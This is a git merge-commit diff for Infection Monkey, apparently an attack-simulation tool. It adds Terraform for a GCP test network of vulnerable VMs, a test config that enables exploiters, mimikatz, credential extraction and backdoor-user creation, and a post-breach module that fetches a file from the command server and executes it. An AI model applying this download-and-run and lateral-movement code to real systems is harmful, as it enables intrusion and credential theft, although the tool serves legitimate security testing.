BACK_MERGE: Merge branch 'develop' into pr/278

This commit is contained in:
Shay Nehmad 2019-04-16 16:09:25 +03:00
commit b714ef7a36
85 changed files with 3531 additions and 602 deletions

15
.gitignore vendored
View File

@ -68,3 +68,18 @@ bin
/monkey/monkey_island/cc/server.crt /monkey/monkey_island/cc/server.crt
/monkey/monkey_island/cc/server.csr /monkey/monkey_island/cc/server.csr
/monkey/monkey_island/cc/ui/node_modules/ /monkey/monkey_island/cc/ui/node_modules/
# User files
/monkey/monkey_island/cc/userUploads
# MonkeyZoo
# Network status files
MonkeyZoo/*
# Except
!MonkeyZoo/main.tf
!MonkeyZoo/variables.tf
!MonkeyZoo/README.MD
!MonkeyZoo/config.tf
!MonkeyZoo/MonkeyZooDocs.pdf

View File

@ -0,0 +1,3 @@
# MonkeyZoo
These files are used to deploy Infection Monkey's test network on GCP.<br>
For more information view docs/fullDocs.md

View File

@ -0,0 +1,206 @@
{
"basic": {
"credentials": {
"exploit_password_list": [
"`))jU7L(w}",
"3Q=(Ge(+&w]*",
"^NgDvY59~8",
"Ivrrw5zEzs",
"YbS,<tpS.2av"
],
"exploit_user_list": [
"m0nk3y"
]
}
},
"basic_network": {
"general": {
"blocked_ips": [],
"depth": 2,
"local_network_scan": false,
"subnet_scan_list": [
"10.2.2.2",
"10.2.2.3",
"10.2.2.4",
"10.2.2.5",
"10.2.2.8",
"10.2.2.9",
"10.2.1.9",
"10.2.1.10",
"10.2.2.11",
"10.2.2.12",
"10.2.2.14",
"10.2.2.15",
"10.2.2.16",
"10.2.2.18",
"10.2.2.19",
"10.2.2.20",
"10.2.2.21",
"10.2.2.23",
"10.2.2.24"
]
},
"network_analysis": {
"inaccessible_subnets": []
}
},
"cnc": {
"servers": {
"command_servers": [
"192.168.56.1:5000",
"158.129.18.132:5000"
],
"current_server": "192.168.56.1:5000",
"internet_services": [
"monkey.guardicore.com",
"www.google.com"
]
}
},
"exploits": {
"general": {
"exploiter_classes": [
"SmbExploiter",
"WmiExploiter",
"RdpExploiter",
"ShellShockExploiter",
"SambaCryExploiter",
"ElasticGroovyExploiter",
"Struts2Exploiter",
"WebLogicExploiter",
"HadoopExploiter"
],
"skip_exploit_if_file_exist": false
},
"ms08_067": {
"ms08_067_exploit_attempts": 5,
"ms08_067_remote_user_add": "Monkey_IUSER_SUPPORT",
"ms08_067_remote_user_pass": "Password1!",
"remote_user_pass": "Password1!",
"user_to_add": "Monkey_IUSER_SUPPORT"
},
"rdp_grinder": {
"rdp_use_vbs_download": true
},
"sambacry": {
"sambacry_folder_paths_to_guess": [
"/",
"/mnt",
"/tmp",
"/storage",
"/export",
"/share",
"/shares",
"/home"
],
"sambacry_shares_not_to_check": [
"IPC$",
"print$"
],
"sambacry_trigger_timeout": 5
},
"smb_service": {
"smb_download_timeout": 300,
"smb_service_name": "InfectionMonkey"
}
},
"internal": {
"classes": {
"finger_classes": [
"SMBFinger",
"SSHFinger",
"PingScanner",
"HTTPFinger",
"MySQLFinger",
"MSSQLFinger",
"ElasticFinger"
],
"scanner_class": "TcpScanner"
},
"dropper": {
"dropper_date_reference_path_linux": "/bin/sh",
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
"dropper_set_date": true,
"dropper_target_path_linux": "/tmp/monkey",
"dropper_target_path_win_32": "C:\\Windows\\monkey32.exe",
"dropper_target_path_win_64": "C:\\Windows\\monkey64.exe",
"dropper_try_move_first": true
},
"exploits": {
"exploit_lm_hash_list": [],
"exploit_ntlm_hash_list": [],
"exploit_ssh_keys": []
},
"general": {
"keep_tunnel_open_time": 60,
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}"
},
"kill_file": {
"kill_file_path_linux": "/var/run/monkey.not",
"kill_file_path_windows": "%windir%\\monkey.not"
},
"logging": {
"dropper_log_path_linux": "/tmp/user-1562",
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
"monkey_log_path_linux": "/tmp/user-1563",
"monkey_log_path_windows": "%temp%\\~df1563.tmp",
"send_log_to_server": true
}
},
"monkey": {
"behaviour": {
"self_delete_in_cleanup": false,
"serialize_config": false,
"use_file_logging": true
},
"general": {
"alive": true,
"post_breach_actions": [
"BackdoorUser"
]
},
"life_cycle": {
"max_iterations": 1,
"retry_failed_explotation": true,
"timeout_between_iterations": 100,
"victims_max_exploit": 30,
"victims_max_find": 30
},
"system_info": {
"collect_system_info": true,
"extract_azure_creds": true,
"should_use_mimikatz": true
}
},
"network": {
"ping_scanner": {
"ping_scan_timeout": 1000
},
"tcp_scanner": {
"HTTP_PORTS": [
80,
8080,
443,
8008,
7001
],
"tcp_scan_get_banner": true,
"tcp_scan_interval": 200,
"tcp_scan_timeout": 3000,
"tcp_target_ports": [
22,
2222,
445,
135,
3389,
80,
8080,
443,
8008,
3306,
9200,
7001
]
}
}
}

File diff suppressed because it is too large Load Diff

Binary file not shown.

After

Width:  |  Height:  |  Size: 225 KiB

View File

@ -0,0 +1,10 @@
provider "google" {
project = "test-000000"
region = "europe-west3"
zone = "europe-west3-b"
credentials = "${file("testproject-000000-0c0b000b00c0.json")}"
}
locals {
service_account_email="tester-monkeyZoo-user@testproject-000000.iam.gserviceaccount.com"
monkeyzoo_project="guardicore-22050661"
}

View File

@ -0,0 +1,76 @@
resource "google_compute_firewall" "islands-in" {
name = "islands-in"
network = "${google_compute_network.monkeyzoo.name}"
allow {
protocol = "tcp"
ports = ["22", "443", "3389", "5000"]
}
direction = "INGRESS"
priority = "65534"
target_tags = ["island"]
}
resource "google_compute_firewall" "islands-out" {
name = "islands-out"
network = "${google_compute_network.monkeyzoo.name}"
allow {
protocol = "tcp"
}
direction = "EGRESS"
priority = "65534"
target_tags = ["island"]
}
resource "google_compute_firewall" "monkeyzoo-in" {
name = "monkeyzoo-in"
network = "${google_compute_network.monkeyzoo.name}"
allow {
protocol = "all"
}
direction = "INGRESS"
priority = "65534"
source_ranges = ["10.2.2.0/24"]
}
resource "google_compute_firewall" "monkeyzoo-out" {
name = "monkeyzoo-out"
network = "${google_compute_network.monkeyzoo.name}"
allow {
protocol = "all"
}
direction = "EGRESS"
priority = "65534"
destination_ranges = ["10.2.2.0/24"]
}
resource "google_compute_firewall" "tunneling-in" {
name = "tunneling-in"
network = "${google_compute_network.tunneling.name}"
allow {
protocol = "all"
}
direction = "INGRESS"
source_ranges = ["10.2.1.0/28"]
}
resource "google_compute_firewall" "tunneling-out" {
name = "tunneling-out"
network = "${google_compute_network.tunneling.name}"
allow {
protocol = "all"
}
direction = "EGRESS"
destination_ranges = ["10.2.1.0/28"]
}

View File

@ -0,0 +1,91 @@
//Custom cloud images
data "google_compute_image" "hadoop-2" {
name = "hadoop-2"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "hadoop-3" {
name = "hadoop-3"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "elastic-4" {
name = "elastic-4"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "elastic-5" {
name = "elastic-5"
project = "${local.monkeyzoo_project}"
}
/*
data "google_compute_image" "sambacry-6" {
name = "sambacry-6"
}
*/
data "google_compute_image" "shellshock-8" {
name = "shellshock-8"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "tunneling-9" {
name = "tunneling-9-v2"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "tunneling-10" {
name = "tunneling-10-v2"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "sshkeys-11" {
name = "sshkeys-11-v2"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "sshkeys-12" {
name = "sshkeys-12-v2"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "mimikatz-14" {
name = "mimikatz-14-v2"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "mimikatz-15" {
name = "mimikatz-15"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "mssql-16" {
name = "mssql-16"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "weblogic-18" {
name = "weblogic-18"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "weblogic-19" {
name = "weblogic-19-v2"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "smb-20" {
name = "smb-20"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "scan-21" {
name = "scan-21"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "scan-22" {
name = "scan-22"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "struts2-23" {
name = "struts2-23"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "struts2-24" {
name = "struts-24-v2"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "island-linux-250" {
name = "island-linux-250"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "island-windows-251" {
name = "island-windows-251"
project = "${local.monkeyzoo_project}"
}

View File

@ -0,0 +1,431 @@
// Local variables
locals {
default_ubuntu="${google_compute_instance_template.ubuntu16.self_link}"
default_windows="${google_compute_instance_template.windows2016.self_link}"
}
resource "google_compute_network" "monkeyzoo" {
name = "monkeyzoo"
auto_create_subnetworks = false
}
resource "google_compute_network" "tunneling" {
name = "tunneling"
auto_create_subnetworks = false
}
resource "google_compute_subnetwork" "monkeyzoo-main" {
name = "monkeyzoo-main"
ip_cidr_range = "10.2.2.0/24"
network = "${google_compute_network.monkeyzoo.self_link}"
}
resource "google_compute_subnetwork" "tunneling-main" {
name = "tunneling-main"
ip_cidr_range = "10.2.1.0/28"
network = "${google_compute_network.tunneling.self_link}"
}
resource "google_compute_instance_from_template" "hadoop-2" {
name = "hadoop-2"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.hadoop-2.self_link}"
}
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.2"
}
// Add required ssh keys for hadoop service and restart it
metadata_startup_script = "[ ! -f /home/vakaris_zilius/.ssh/authorized_keys ] && sudo cat /home/vakaris_zilius/.ssh/id_rsa.pub >> /home/vakaris_zilius/.ssh/authorized_keys && sudo reboot"
}
resource "google_compute_instance_from_template" "hadoop-3" {
name = "hadoop-3"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.hadoop-3.self_link}"
}
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.3"
}
}
resource "google_compute_instance_from_template" "elastic-4" {
name = "elastic-4"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.elastic-4.self_link}"
}
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.4"
}
}
resource "google_compute_instance_from_template" "elastic-5" {
name = "elastic-5"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.elastic-5.self_link}"
}
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.5"
}
}
/* Couldn't find ubuntu packages for required samba version (too old).
resource "google_compute_instance_from_template" "sambacry-6" {
name = "sambacry-6"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.sambacry-6.self_link}"
}
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.6"
}
}
*/
/* We need custom 32 bit Ubuntu machine for this (there are no 32 bit ubuntu machines in GCP).
resource "google_compute_instance_from_template" "sambacry-7" {
name = "sambacry-7"
source_instance_template = "${local.default_ubuntu}"
boot_disk {
initialize_params {
// Add custom image to cloud
image = "ubuntu32"
}
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.7"
}
}
*/
resource "google_compute_instance_from_template" "shellshock-8" {
name = "shellshock-8"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.shellshock-8.self_link}"
}
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.8"
}
}
resource "google_compute_instance_from_template" "tunneling-9" {
name = "tunneling-9"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.tunneling-9.self_link}"
}
auto_delete = true
}
network_interface{
subnetwork="tunneling-main"
network_ip="10.2.1.9"
}
network_interface{
subnetwork="monkeyzoo-main"
network_ip="10.2.2.9"
}
}
resource "google_compute_instance_from_template" "tunneling-10" {
name = "tunneling-10"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.tunneling-10.self_link}"
}
auto_delete = true
}
network_interface{
subnetwork="tunneling-main"
network_ip="10.2.1.10"
}
}
resource "google_compute_instance_from_template" "sshkeys-11" {
name = "sshkeys-11"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.sshkeys-11.self_link}"
}
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.11"
}
}
resource "google_compute_instance_from_template" "sshkeys-12" {
name = "sshkeys-12"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.sshkeys-12.self_link}"
}
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.12"
}
}
/*
resource "google_compute_instance_from_template" "rdpgrinder-13" {
name = "rdpgrinder-13"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.rdpgrinder-13.self_link}"
}
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.13"
}
}
*/
resource "google_compute_instance_from_template" "mimikatz-14" {
name = "mimikatz-14"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.mimikatz-14.self_link}"
}
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.14"
}
}
resource "google_compute_instance_from_template" "mimikatz-15" {
name = "mimikatz-15"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.mimikatz-15.self_link}"
}
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.15"
}
}
resource "google_compute_instance_from_template" "mssql-16" {
name = "mssql-16"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.mssql-16.self_link}"
}
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.16"
}
}
/* We need to alter monkey's behavior for this to upload 32-bit monkey instead of 64-bit (not yet developed)
resource "google_compute_instance_from_template" "upgrader-17" {
name = "upgrader-17"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.upgrader-17.self_link}"
}
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.17"
access_config {
// Cheaper, non-premium routing
network_tier = "STANDARD"
}
}
}
*/
resource "google_compute_instance_from_template" "weblogic-18" {
name = "weblogic-18"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.weblogic-18.self_link}"
}
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.18"
}
}
resource "google_compute_instance_from_template" "weblogic-19" {
name = "weblogic-19"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.weblogic-19.self_link}"
}
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.19"
}
}
resource "google_compute_instance_from_template" "smb-20" {
name = "smb-20"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.smb-20.self_link}"
}
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.20"
}
}
resource "google_compute_instance_from_template" "scan-21" {
name = "scan-21"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.scan-21.self_link}"
}
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.21"
}
}
resource "google_compute_instance_from_template" "scan-22" {
name = "scan-22"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.scan-22.self_link}"
}
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.22"
}
}
resource "google_compute_instance_from_template" "struts2-23" {
name = "struts2-23"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.struts2-23.self_link}"
}
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.23"
}
}
resource "google_compute_instance_from_template" "struts2-24" {
name = "struts2-24"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.struts2-24.self_link}"
}
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.24"
}
}
resource "google_compute_instance_from_template" "island-linux-250" {
name = "island-linux-250"
machine_type = "n1-standard-2"
tags = ["island", "linux", "ubuntu16"]
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.island-linux-250.self_link}"
}
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.250"
access_config {
// Cheaper, non-premium routing (not available in some regions)
// network_tier = "STANDARD"
}
}
}
resource "google_compute_instance_from_template" "island-windows-251" {
name = "island-windows-251"
machine_type = "n1-standard-2"
tags = ["island", "windows", "windowsserver2016"]
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.island-windows-251.self_link}"
}
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.251"
access_config {
// Cheaper, non-premium routing (not available in some regions)
// network_tier = "STANDARD"
}
}
}

View File

@ -0,0 +1,45 @@
resource "google_compute_instance_template" "ubuntu16" {
name = "ubuntu16"
description = "Creates ubuntu 16.04 LTS servers at europe-west3-a."
tags = ["test-machine", "ubuntu16", "linux"]
machine_type = "n1-standard-1"
can_ip_forward = false
disk {
source_image = "ubuntu-os-cloud/ubuntu-1604-lts"
}
network_interface {
subnetwork="monkeyzoo-main"
access_config {
// Cheaper, non-premium routing
network_tier = "STANDARD"
}
}
service_account {
email ="${local.service_account_email}"
scopes=["cloud-platform"]
}
}
resource "google_compute_instance_template" "windows2016" {
name = "windows2016"
description = "Creates windows 2016 core servers at europe-west3-a."
tags = ["test-machine", "windowsserver2016", "windows"]
machine_type = "n1-standard-1"
can_ip_forward = false
disk {
source_image = "windows-cloud/windows-2016"
}
network_interface {
subnetwork="monkeyzoo-main"
}
service_account {
email="${local.service_account_email}"
scopes=["cloud-platform"]
}
}

View File

@ -0,0 +1,10 @@
from enum import Enum
class ScanStatus(Enum):
# Technique wasn't scanned
UNSCANNED = 0
# Technique was attempted/scanned
SCANNED = 1
# Technique was attempted and succeeded
USED = 2

View File

@ -161,6 +161,10 @@ class Configuration(object):
keep_tunnel_open_time = 60 keep_tunnel_open_time = 60
# Monkey files directories
monkey_dir_linux = '/tmp/monkey_dir'
monkey_dir_windows = r'C:\Windows\Temp\monkey_dir'
########################### ###########################
# scanners config # scanners config
########################### ###########################
@ -267,6 +271,10 @@ class Configuration(object):
extract_azure_creds = True extract_azure_creds = True
post_breach_actions = [] post_breach_actions = []
custom_PBA_linux_cmd = ""
custom_PBA_windows_cmd = ""
PBA_linux_filename = None
PBA_windows_filename = None
WormConfiguration = Configuration() WormConfiguration = Configuration()

View File

@ -8,7 +8,7 @@
], ],
"keep_tunnel_open_time": 60, "keep_tunnel_open_time": 60,
"subnet_scan_list": [ "subnet_scan_list": [
], ],
"inaccessible_subnets": [], "inaccessible_subnets": [],
"blocked_ips": [], "blocked_ips": [],
@ -28,6 +28,9 @@
"dropper_target_path_win_64": "C:\\Windows\\monkey64.exe", "dropper_target_path_win_64": "C:\\Windows\\monkey64.exe",
"dropper_target_path_linux": "/tmp/monkey", "dropper_target_path_linux": "/tmp/monkey",
monkey_dir_linux = '/tmp/monkey_dir',
monkey_dir_windows = r'C:\Windows\Temp\monkey_dir',
"kill_file_path_linux": "/var/run/monkey.not", "kill_file_path_linux": "/var/run/monkey.not",
"kill_file_path_windows": "%windir%\\monkey.not", "kill_file_path_windows": "%windir%\\monkey.not",
@ -98,4 +101,8 @@
"victims_max_exploit": 7, "victims_max_exploit": 7,
"victims_max_find": 30, "victims_max_find": 30,
"post_breach_actions" : [] "post_breach_actions" : []
custom_PBA_linux_cmd = ""
custom_PBA_windows_cmd = ""
PBA_linux_filename = None
PBA_windows_filename = None
} }

View File

@ -8,7 +8,8 @@ import json
import logging import logging
import requests import requests
from infection_monkey.exploit.web_rce import WebRCE from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\
DOWNLOAD_TIMEOUT
from infection_monkey.network.elasticfinger import ES_PORT, ES_SERVICE from infection_monkey.network.elasticfinger import ES_PORT, ES_SERVICE
import re import re
@ -47,7 +48,11 @@ class ElasticGroovyExploiter(WebRCE):
def exploit(self, url, command): def exploit(self, url, command):
command = re.sub(r"\\", r"\\\\\\\\", command) command = re.sub(r"\\", r"\\\\\\\\", command)
payload = self.JAVA_CMD % command payload = self.JAVA_CMD % command
response = requests.get(url, data=payload) try:
response = requests.get(url, data=payload, timeout=DOWNLOAD_TIMEOUT)
except requests.ReadTimeout:
LOG.error("Elastic couldn't upload monkey, because server didn't respond to upload request.")
return False
result = self.get_results(response) result = self.get_results(response)
if not result: if not result:
return False return False
@ -79,4 +84,4 @@ class ElasticGroovyExploiter(WebRCE):
return False return False
except Exception as e: except Exception as e:
LOG.error("Host's exploitability check failed due to: %s" % e) LOG.error("Host's exploitability check failed due to: %s" % e)
return False return False

View File

@ -84,7 +84,7 @@ class SSHExploiter(HostExploiter):
self.report_login_attempt(True, user, curpass) self.report_login_attempt(True, user, curpass)
break break
except Exception as exc: except paramiko.AuthenticationException as exc:
LOG.debug("Error logging into victim %r with user" LOG.debug("Error logging into victim %r with user"
" %s and password '%s': (%s)", self.host, " %s and password '%s': (%s)", self.host,
user, curpass, exc) user, curpass, exc)

View File

@ -7,7 +7,6 @@ import socket
import struct import struct
import sys import sys
import urllib import urllib
from difflib import get_close_matches
from impacket.dcerpc.v5 import transport, srvs from impacket.dcerpc.v5 import transport, srvs
from impacket.dcerpc.v5.dcom import wmi from impacket.dcerpc.v5.dcom import wmi
@ -19,7 +18,6 @@ from impacket.smbconnection import SMBConnection, SMB_DIALECT
import infection_monkey.config import infection_monkey.config
import infection_monkey.monkeyfs as monkeyfs import infection_monkey.monkeyfs as monkeyfs
from infection_monkey.network import local_ips
from infection_monkey.network.firewall import app as firewall from infection_monkey.network.firewall import app as firewall
from infection_monkey.network.info import get_free_tcp_port, get_routes from infection_monkey.network.info import get_free_tcp_port, get_routes
from infection_monkey.transport import HTTPServer, LockedHTTPServer from infection_monkey.transport import HTTPServer, LockedHTTPServer
@ -418,9 +416,15 @@ class HTTPTools(object):
def get_interface_to_target(dst): def get_interface_to_target(dst):
if sys.platform == "win32": if sys.platform == "win32":
ips = local_ips() s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
matches = get_close_matches(dst, ips) try:
return matches[0] if (len(matches) > 0) else ips[0] s.connect((dst, 1))
ip_to_dst = s.getsockname()[0]
except KeyError:
ip_to_dst = '127.0.0.1'
finally:
s.close()
return ip_to_dst
else: else:
# based on scapy implementation # based on scapy implementation
@ -430,17 +434,17 @@ def get_interface_to_target(dst):
routes = get_routes() routes = get_routes()
dst = atol(dst) dst = atol(dst)
pathes = [] paths = []
for d, m, gw, i, a in routes: for d, m, gw, i, a in routes:
aa = atol(a) aa = atol(a)
if aa == dst: if aa == dst:
pathes.append((0xffffffff, ("lo", a, "0.0.0.0"))) paths.append((0xffffffff, ("lo", a, "0.0.0.0")))
if (dst & m) == (d & m): if (dst & m) == (d & m):
pathes.append((m, (i, a, gw))) paths.append((m, (i, a, gw)))
if not pathes: if not paths:
return None return None
pathes.sort() paths.sort()
ret = pathes[-1][1] ret = paths[-1][1]
return ret[1] return ret[1]

View File

@ -16,6 +16,9 @@ from infection_monkey.network.network_scanner import NetworkScanner
from infection_monkey.system_info import SystemInfoCollector from infection_monkey.system_info import SystemInfoCollector
from infection_monkey.system_singleton import SystemSingleton from infection_monkey.system_singleton import SystemSingleton
from infection_monkey.windows_upgrader import WindowsUpgrader from infection_monkey.windows_upgrader import WindowsUpgrader
from infection_monkey.post_breach.post_breach_handler import PostBreach
from common.utils.attack_utils import ScanStatus
from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem
__author__ = 'itamar' __author__ = 'itamar'
@ -76,6 +79,9 @@ class InfectionMonkey(object):
LOG.info("Monkey couldn't find server. Going down.") LOG.info("Monkey couldn't find server. Going down.")
return return
# Create a dir for monkey files if there isn't one
utils.create_monkey_dir()
if WindowsUpgrader.should_upgrade(): if WindowsUpgrader.should_upgrade():
self._upgrading_to_64 = True self._upgrading_to_64 = True
self._singleton.unlock() self._singleton.unlock()
@ -113,6 +119,8 @@ class InfectionMonkey(object):
action = action_class() action = action_class()
action.act() action.act()
PostBreach().execute()
if 0 == WormConfiguration.depth: if 0 == WormConfiguration.depth:
LOG.debug("Reached max depth, shutting down") LOG.debug("Reached max depth, shutting down")
ControlClient.send_telemetry("trace", "Reached max depth, shutting down") ControlClient.send_telemetry("trace", "Reached max depth, shutting down")
@ -173,9 +181,11 @@ class InfectionMonkey(object):
for exploiter in [exploiter(machine) for exploiter in self._exploiters]: for exploiter in [exploiter(machine) for exploiter in self._exploiters]:
if self.try_exploiting(machine, exploiter): if self.try_exploiting(machine, exploiter):
host_exploited = True host_exploited = True
VictimHostTelem('T1210', ScanStatus.USED.value, machine=machine).send()
break break
if not host_exploited: if not host_exploited:
self._fail_exploitation_machines.add(machine) self._fail_exploitation_machines.add(machine)
VictimHostTelem('T1210', ScanStatus.SCANNED.value, machine=machine).send()
if not self._keep_running: if not self._keep_running:
break break
@ -215,6 +225,7 @@ class InfectionMonkey(object):
self.send_log() self.send_log()
self._singleton.unlock() self._singleton.unlock()
utils.remove_monkey_dir()
InfectionMonkey.self_delete() InfectionMonkey.self_delete()
LOG.info("Monkey is shutting down") LOG.info("Monkey is shutting down")

View File

@ -0,0 +1,68 @@
from infection_monkey.post_breach.pba import PBA
from infection_monkey.control import ControlClient
from infection_monkey.config import WormConfiguration
from infection_monkey.utils import get_monkey_dir_path
import requests
import os
import logging
LOG = logging.getLogger(__name__)
__author__ = 'VakarisZ'
# Default commands for executing PBA file and then removing it
DEFAULT_LINUX_COMMAND = "chmod +x {0} ; {0} ; rm {0}"
DEFAULT_WINDOWS_COMMAND = "{0} & del {0}"
class FileExecution(PBA):
"""
Defines user's file execution post breach action.
"""
def __init__(self, linux_command="", windows_command=""):
self.linux_filename = WormConfiguration.PBA_linux_filename
self.windows_filename = WormConfiguration.PBA_windows_filename
super(FileExecution, self).__init__("File execution", linux_command, windows_command)
def _execute_linux(self):
FileExecution.download_PBA_file(get_monkey_dir_path(), self.linux_filename)
return super(FileExecution, self)._execute_linux()
def _execute_win(self):
FileExecution.download_PBA_file(get_monkey_dir_path(), self.windows_filename)
return super(FileExecution, self)._execute_win()
def add_default_command(self, is_linux):
"""
Replaces current (likely empty) command with default file execution command (that changes permissions, executes
and finally deletes post breach file).
Default commands are defined as globals in this module.
:param is_linux: Boolean that indicates for which OS the command is being set.
"""
if is_linux:
file_path = os.path.join(get_monkey_dir_path(), self.linux_filename)
self.linux_command = DEFAULT_LINUX_COMMAND.format(file_path)
else:
file_path = os.path.join(get_monkey_dir_path(), self.windows_filename)
self.windows_command = DEFAULT_WINDOWS_COMMAND.format(file_path)
@staticmethod
def download_PBA_file(dst_dir, filename):
"""
Handles post breach action file download
:param dst_dir: Destination directory
:param filename: Filename
:return: True if successful, false otherwise
"""
PBA_file_contents = requests.get("https://%s/api/pba/download/%s" %
(WormConfiguration.current_server, filename),
verify=False,
proxies=ControlClient.proxies)
try:
with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file:
written_PBA_file.write(PBA_file_contents.content)
return True
except IOError as e:
LOG.error("Can not download post breach file to target machine, because %s" % e)
return False

View File

@ -0,0 +1,68 @@
import logging
from infection_monkey.control import ControlClient
import subprocess
import socket
LOG = logging.getLogger(__name__)
__author__ = 'VakarisZ'
class PBA(object):
"""
Post breach action object. Can be extended to support more than command execution on target machine.
"""
def __init__(self, name="unknown", linux_command="", windows_command=""):
"""
:param name: Name of post breach action.
:param linux_command: Command that will be executed on linux machine
:param windows_command: Command that will be executed on windows machine
"""
self.linux_command = linux_command
self.windows_command = windows_command
self.name = name
def run(self, is_linux):
"""
Runs post breach action command
:param is_linux: boolean that indicates on which os monkey is running
"""
if is_linux:
command = self.linux_command
exec_funct = self._execute_linux
else:
command = self.windows_command
exec_funct = self._execute_win
if command:
hostname = socket.gethostname()
ControlClient.send_telemetry('post_breach', {'command': command,
'result': exec_funct(),
'name': self.name,
'hostname': hostname,
'ip': socket.gethostbyname(hostname)
})
def _execute_linux(self):
"""
Default linux PBA execution function. Override it if additional functionality is needed
"""
return self._execute_default(self.linux_command)
def _execute_win(self):
"""
Default linux PBA execution function. Override it if additional functionality is needed
"""
return self._execute_default(self.windows_command)
@staticmethod
def _execute_default(command):
"""
Default post breach command execution routine
:param command: What command to execute
:return: Tuple of command's output string and boolean, indicating if it succeeded
"""
try:
return subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True), True
except subprocess.CalledProcessError as e:
# Return error output of the command
return e.output, False

View File

